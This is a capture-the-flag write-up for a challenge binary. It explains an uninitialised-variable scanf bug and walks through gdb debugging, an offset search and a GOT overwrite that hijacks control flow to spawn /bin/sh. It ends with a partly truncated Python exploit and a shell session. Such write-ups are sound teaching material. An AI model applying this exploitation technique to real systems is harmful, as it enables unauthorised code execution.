====== Final CTF: Beta task writeup ====== #include #include void cadet_login() { char buf[100]; dprintf(2, "Hello cadet! Tell us your name\n"); fgets(buf, 100, stdin); } void task() { unsigned long pass; unsigned long user; setbuf(stdout, NULL); int fd = open("/dev/urandom", O_RDONLY); if (fd==-1) exit(-1); if (read(fd, &pass, 4) != 4) exit(-1); close(fd); scanf("%lu", user); if (user == pass) { printf("Congratulations. You deserve a shell\n"); system("/bin/sh"); } else { printf("Keep Trying!\n"); exit(0); } } int main(){ cadet_login(); task(); return 0; } The vulnerability here is the following line: scanf("%lu", user); The second argument for scanf should be an address and instead it is an unsigned integer. If we could control the value of ''user'' before this scanf then we would have an arbitrary write (which always turns out to be useful somehow). How do we control it? Since it's a stack variable think about what happens: * a stack frame is allocated for main which first calls cadet login * cadet login allocates another stack frame and reads (at most) 100 bytes. * cadet login releases that stack frame and returns into main * main calls task which allocates another stack frame (recycling the space used by cadet login) This means that the ''user'' variable should take up a value from our name input in cadet login. We'll use a cyclic pattern to pinpoint the exact location: gdb-peda$ pdis task Dump of assembler code for function task: 0x080486c7 <+0>: push ebp 0x080486c8 <+1>: mov ebp,esp 0x080486ca <+3>: sub esp,0x28 0x080486cd <+6>: mov eax,ds:0x804a080 0x080486d2 <+11>: mov DWORD PTR [esp+0x4],0x0 0x080486da <+19>: mov DWORD PTR [esp],eax 0x080486dd <+22>: call 0x80484d0 0x080486e2 <+27>: mov DWORD PTR [esp+0x4],0x0 0x080486ea <+35>: mov DWORD PTR [esp],0x8048860 0x080486f1 <+42>: call 0x8048550 0x080486f6 <+47>: mov DWORD PTR [ebp-0xc],eax 0x080486f9 <+50>: cmp DWORD PTR [ebp-0xc],0xffffffff 0x080486fd <+54>: jne 0x804870b 0x080486ff <+56>: mov DWORD PTR [esp],0xffffffff 0x08048706 <+63>: call 0x8048540 0x0804870b <+68>: mov DWORD PTR [esp+0x8],0x4 0x08048713 <+76>: lea eax,[ebp-0x14] 0x08048716 <+79>: mov DWORD PTR [esp+0x4],eax 0x0804871a <+83>: mov eax,DWORD PTR [ebp-0xc] 0x0804871d <+86>: mov DWORD PTR [esp],eax 0x08048720 <+89>: call 0x80484e0 0x08048725 <+94>: cmp eax,0x4 0x08048728 <+97>: je 0x8048736 0x0804872a <+99>: mov DWORD PTR [esp],0xffffffff 0x08048731 <+106>: call 0x8048540 0x08048736 <+111>: mov eax,DWORD PTR [ebp-0xc] 0x08048739 <+114>: mov DWORD PTR [esp],eax 0x0804873c <+117>: call 0x8048580 0x08048741 <+122>: mov eax,DWORD PTR [ebp-0x10] 0x08048744 <+125>: mov DWORD PTR [esp+0x4],eax 0x08048748 <+129>: mov DWORD PTR [esp],0x804886d 0x0804874f <+136>: call 0x8048570 <__isoc99_scanf@plt> 0x08048754 <+141>: mov eax,DWORD PTR [ebp-0x14] 0x08048757 <+144>: cmp DWORD PTR [ebp-0x10],eax 0x0804875a <+147>: jne 0x8048776 0x0804875c <+149>: mov DWORD PTR [esp],0x8048874 0x08048763 <+156>: call 0x8048510 0x08048768 <+161>: mov DWORD PTR [esp],0x8048899 0x0804876f <+168>: call 0x8048520 0x08048774 <+173>: jmp 0x804878e 0x08048776 <+175>: mov DWORD PTR [esp],0x80488a1 0x0804877d <+182>: call 0x8048510 0x08048782 <+187>: mov DWORD PTR [esp],0x0 0x08048789 <+194>: call 0x8048540 0x0804878e <+199>: leave 0x0804878f <+200>: ret End of assembler dump. gdb-peda$ b *0x0804874f Breakpoint 1 at 0x804874f gdb-peda$ pattc 99 'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAA' gdb-peda$ run Hello cadet! Tell us your name AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAA [----------------------------------registers-----------------------------------] EAX: 0x41416b41 ('AkAA') EBX: 0xf7f8d000 --> 0x195da8 ECX: 0xffffcbf4 --> 0x75933312 EDX: 0xf7f8d000 --> 0x195da8 ESI: 0x0 EDI: 0x0 EBP: 0xffffcc08 --> 0xffffcc18 --> 0x0 ESP: 0xffffcbe0 --> 0x804886d --> 0x756c25 ('%lu') EIP: 0x804874f (: call 0x8048570 <__isoc99_scanf@plt>) EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048736 : mov eax,DWORD PTR [ebp-0xc] 0x8048739 : mov DWORD PTR [esp],eax 0x804873c : call 0x8048580 0x8048741 : mov eax,DWORD PTR [ebp-0x10] 0x8048744 : mov DWORD PTR [esp+0x4],eax 0x8048748 : mov DWORD PTR [esp],0x804886d => 0x804874f : call 0x8048570 <__isoc99_scanf@plt> 0x8048754 : mov eax,DWORD PTR [ebp-0x14] 0x8048757 : cmp DWORD PTR [ebp-0x10],eax 0x804875a : jne 0x8048776 0x804875c : mov DWORD PTR [esp],0x8048874 0x8048763 : call 0x8048510 0x8048768 : mov DWORD PTR [esp],0x8048899 0x804876f : call 0x8048520 Guessed arguments: arg[0]: 0x804886d --> 0x756c25 ('%lu') arg[1]: 0x41416b41 ('AkAA') [------------------------------------stack-------------------------------------] 0000| 0xffffcbe0 --> 0x804886d --> 0x756c25 ('%lu') 0004| 0xffffcbe4 ("AkAA\004") 0008| 0xffffcbe8 --> 0x4 0012| 0xffffcbec ("AJAAjAA9\022\063\223uAkAA\003") 0016| 0xffffcbf0 ("jAA9\022\063\223uAkAA\003") 0020| 0xffffcbf4 --> 0x75933312 0024| 0xffffcbf8 ("AkAA\003") 0028| 0xffffcbfc --> 0x3 0032| 0xffffcc00 --> 0xf7f8d3c4 --> 0xf7f8e1e0 --> 0x0 0036| 0xffffcc04 --> 0xf7ffcfcc --> 0x20f0c 0040| 0xffffcc08 --> 0xffffcc18 --> 0x0 0044| 0xffffcc0c --> 0x80487a0 (: mov eax,0x0) 0048| 0xffffcc10 --> 0x80487b0 (<__libc_csu_init>: push ebp) 0052| 0xffffcc14 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0804874f in task () gdb-peda$ patto AkAA AkAA found at offset: 92 Ok, theory confirmed. We have an arbitrary absolute write (write anything anywhere). Now let's get back to what we actually want to do: capture the flag! We could do this by hijacking code flow to the system branch of the comparison: * we can't overwrite the return address because if we get the answer wrong the code calls exit(0) * in theory it would be possible to overwrite the contents of the ''pass'' variable to have the same contents as ''user'' however remember that we have an __absolute__ write instead of a relative one. This means that we would need to know the stack address (which we don't because of ASLR). * what we do know however is that the binary is not Position Independent: it's always loaded at 0x08048000. Furthermore, library functions are resolved lazily: gdb-peda$ checksec beta CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial This means that the GOT entries must remain writable throughout the lifetime of the binary. In that case, we only need to check what library functions are called after our absolute write: scanf("%lu", user); if (user == pass) { printf("Congratulations. You deserve a shell\n"); system("/bin/sh"); } else { printf("Keep Trying!\n"); exit(0); } printf and exit seem like good candidates. Let's try printf (which gets compiled to the puts function instead). gdb-peda$ pdis 0x08048510 Dump of assembler code from 0x8048510 to 0x8048530: 0x08048510 : jmp DWORD PTR ds:0x804a01c 0x08048516 : push 0x20 0x0804851b : jmp 0x80484c0 End of assembler dump. gdb-peda$ xinfo 0x804a01c 0x804a01c --> 0x8048516 (: push 0x20) Virtual memory mapping: Start : 0x0804a000 End : 0x0804b000 Offset: 0x1c Perm : rw-p As expected, the GOT entry is writable. In it we want to write the address of the true branch: 0x08048757 <+144>: cmp DWORD PTR [ebp-0x10],eax 0x0804875a <+147>: jne 0x8048776 0x0804875c <+149>: mov DWORD PTR [esp],0x8048874 0x08048763 <+156>: call 0x8048510 0x08048768 <+161>: mov DWORD PTR [esp],0x8048899 0x0804876f <+168>: call 0x8048520 The final exploit is as follows: import struct, sys puts_got = 0x804a01c target = 0x08048768 offset = 92 payload = "A" * offset payload += struct.pack(" An alternative solution (as mentioned in the hint) is to overwrite the exit GOT entry. They both work: root@dmns:x86_64 [beta] # cat <(python solution.py) - | ./beta Hello cadet! Tell us your name ls beta beta.c peda-session-beta.txt solution.py